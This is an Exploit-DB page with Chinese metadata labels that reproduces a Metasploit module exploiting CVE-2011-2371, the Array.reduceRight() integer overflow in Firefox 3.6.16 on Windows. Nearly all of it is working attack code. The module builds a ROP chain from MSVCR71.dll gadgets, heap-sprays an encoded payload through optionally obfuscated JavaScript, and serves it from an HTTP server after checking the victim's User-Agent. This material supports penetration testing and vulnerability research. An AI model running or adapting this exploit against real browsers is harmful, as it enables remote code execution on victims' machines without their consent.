Mozilla Firefox – ‘Array.reduceRight()’ Integer Overflow (Metasploit) (2)

  • 作者: Metasploit
    日期: 2011-10-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17976/
  • ##
    # $Id: mozilla_reduceright.rb 13909 2011-10-13 03:16:15Z sinn3r $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Mozilla Firefox Array.reduceRight() Integer Overflow",
    			'Description'=> %q{
    					This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
    				array object is configured with a large length value, the reduceRight() method
    				may cause an invalid index being used, allowing abitrary remote code execution.
    				Please note that the exploit requires a longer amount of time (compare to a
    				typical browser exploit) in order to gain control of the machine.
    			},
    			'License'=> MSF_LICENSE,
    			'Version'=> "$Revision: 13909 $",
    			'Author' =>
    				[
    					'Chris Rohlf',#Matasano Security (Initial discovery according to Mozilla.org)
    					'Yan Ivnitskiy',#Matasano Security (Initial discovery with Chris?)
    					'Matteo Memelli', #PoC from Exploit-DB
    					'dookie2000ca', #"Helping" ryujin (Matteo)
    					'sinn3r', #Metasploit
    				],
    			'References' =>
    				[
    					['CVE', '2011-2371'],
    					['URL', 'http://http://www.exploit-db.com/exploits/17974/'],
    					['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
    				],
    			'Payload'=>
    				{
    					'BadChars'=> "\x00",
    					'PrependEncoder'=> "\xbc\x0c\x0c\x0c\x0c",
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "process",
    					'InitialAutoRunScript' => 'migrate -f',
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					#Windows XP / Vista / 7
    					[ 'Mozilla Firefox 3.6.16', {} ],
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Jun 21 2011",
    			'DefaultTarget'=> 0
    		))
    
    		register_options(
    			[
    				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
    			], self.class)
    	end
    
    	def junk
    		return rand_text_alpha(4).unpack("L")[0].to_i
    	end
    
    	def on_request_uri(cli, request)
    
    		agent = request.headers['User-Agent']
    		if agent !~ /Firefox\/3\.6\.[16|17]/
    			vprint_error("This browser is not supported: #{agent.to_s}")
    			send_not_found(cli)
    			return
    		end
    
    		#mona.py tekniq! + Payload
    		rop = [
    			0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    			0x7c37a140,# Make EAX readable
    			0x7c37591f,# PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
    			0x7c348b06,# EBP (NOP)
    			0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    			0x7c37a140,# <- VirtualProtect() found in IAT
    			0x7c3530ea,# MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
    			0x7c346c0b,# Slide, so next gadget would write to correct stack location
    			0x7c376069,# MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
    			0x7c348b06,# EDI (filler)
    			0x7c348b06,# will be patched at runtime (VP), then picked up into ESI
    			0x7c348b06,# EBX (filler)
    			0x7c376402,# POP EBP # RETN (msvcr71.dll)
    			0x7c345c30,# ptr to push esp #ret(from MSVCR71.dll)
    			0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    			0xfffff82f,# size 20001 bytes
    			0x7c351e05,# NEG EAX # RETN (MSVCR71.dll)
    			0x7c354901,# POP EBX # RETN (MSVCR71.dll)
    			0xffffffff,# pop value into ebx
    			0x7c345255,# INC EBX # FPATAN # RETN (MSVCR71.dll)
    			0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
    			0x7c34d201,# POP ECX # RETN (MSVCR71.dll)
    			0x7c38b001,# RW pointer (lpOldProtect) (-> ecx)
    			0x7c34b8d7,# POP EDI # RETN (MSVCR71.dll)
    			0x7c34b8d8,# ROP NOP (-> edi)
    			0x7c344f87,# POP EDX # RETN (MSVCR71.dll)
    			0xffffffc0,# value to negate, target value : 0x00000040, target: edx
    			0x7c351eb1,# NEG EDX # RETN (MSVCR71.dll)
    			0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    			0x90909090,# NOPS (-> eax)
    			0x7c378c81,# PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
    		].pack('V*')
    
    		table = [0x4141].pack('v*')
    		table << [
    			0x0c000048,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    		].pack('V*')
    		table << [0x4141].pack('v*')
    		table << [
    			0x7c370eef,
    			junk,
    		].pack('V*')
    		table << [0x4141].pack('v*')
    		table << [
    			0x3410240c,
    			0x0c00007c,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			junk,
    			0x0c00002e
    		].pack('V*')
    
    		p = payload.encoded
    		arch = Rex::Arch.endian(target.arch)
    		js_payload = Rex::Text.to_unescape(rop + p, arch)
    		js_ptrs= Rex::Text.to_unescape(table, arch)
    
    		#Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
    		js = <<-JS
    		var applet = document.getElementById('MyApplet');
    
    		function spray() {
    			var ptrs = unescape("#{js_ptrs}");
    
    			var bheader= 0x12/2;
    			var nullt= 0x2/2;
    
    			var espoffset= (7340 /2) - ptrs.length;
    			var esppadding = unescape("%u0c0c%u0c0c");
    			while(esppadding.length < espoffset) esppadding += esppadding;
    			esppadding = esppadding.substring(0, espoffset);
    
    			var payload = unescape("#{js_payload}");
    
    			var tr_padding = unescape("%u0c0c%u0c0c");
    			while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}
    
    			var dummy = ptrs + esppadding + payload + tr_padding;
    			var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);
    
    			HeapBlocks = new Array()
    			for (i=0;i<0x60;i++){
    				HeapBlocks[i] += hspray;
    			}
    		}
    		spray();
    		obj = new Array;
    		obj.length = 2197815302;
    		f = function trigger(prev, myobj, indx, array) {
    			alert(myobj[0]);
    		}
    		obj.reduceRight(f,1,2,3);
    		JS
    
    		js = js.gsub(/^\t\t/, '')
    
    		if datastore['OBFUSCATE']
    			js = ::Rex::Exploitation::JSObfu.new(js)
    			js.obfuscate
    		end
    
    		html = <<-HTML
    		<html>
    		<head>
    		</head>
    		<body>
    		<APPLET id="MyApplet" code="trigger.class" width=150 height=50>
    		You need a Java-enabled browser to pwn this.
    		</APPLET>
    		<script>
    		#{js}
    		</script>
    		</body>
    		<html>
    		HTML
    
    		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
    		send_response(cli, html, {'Content-Type'=>'text/html'})
    	end
    end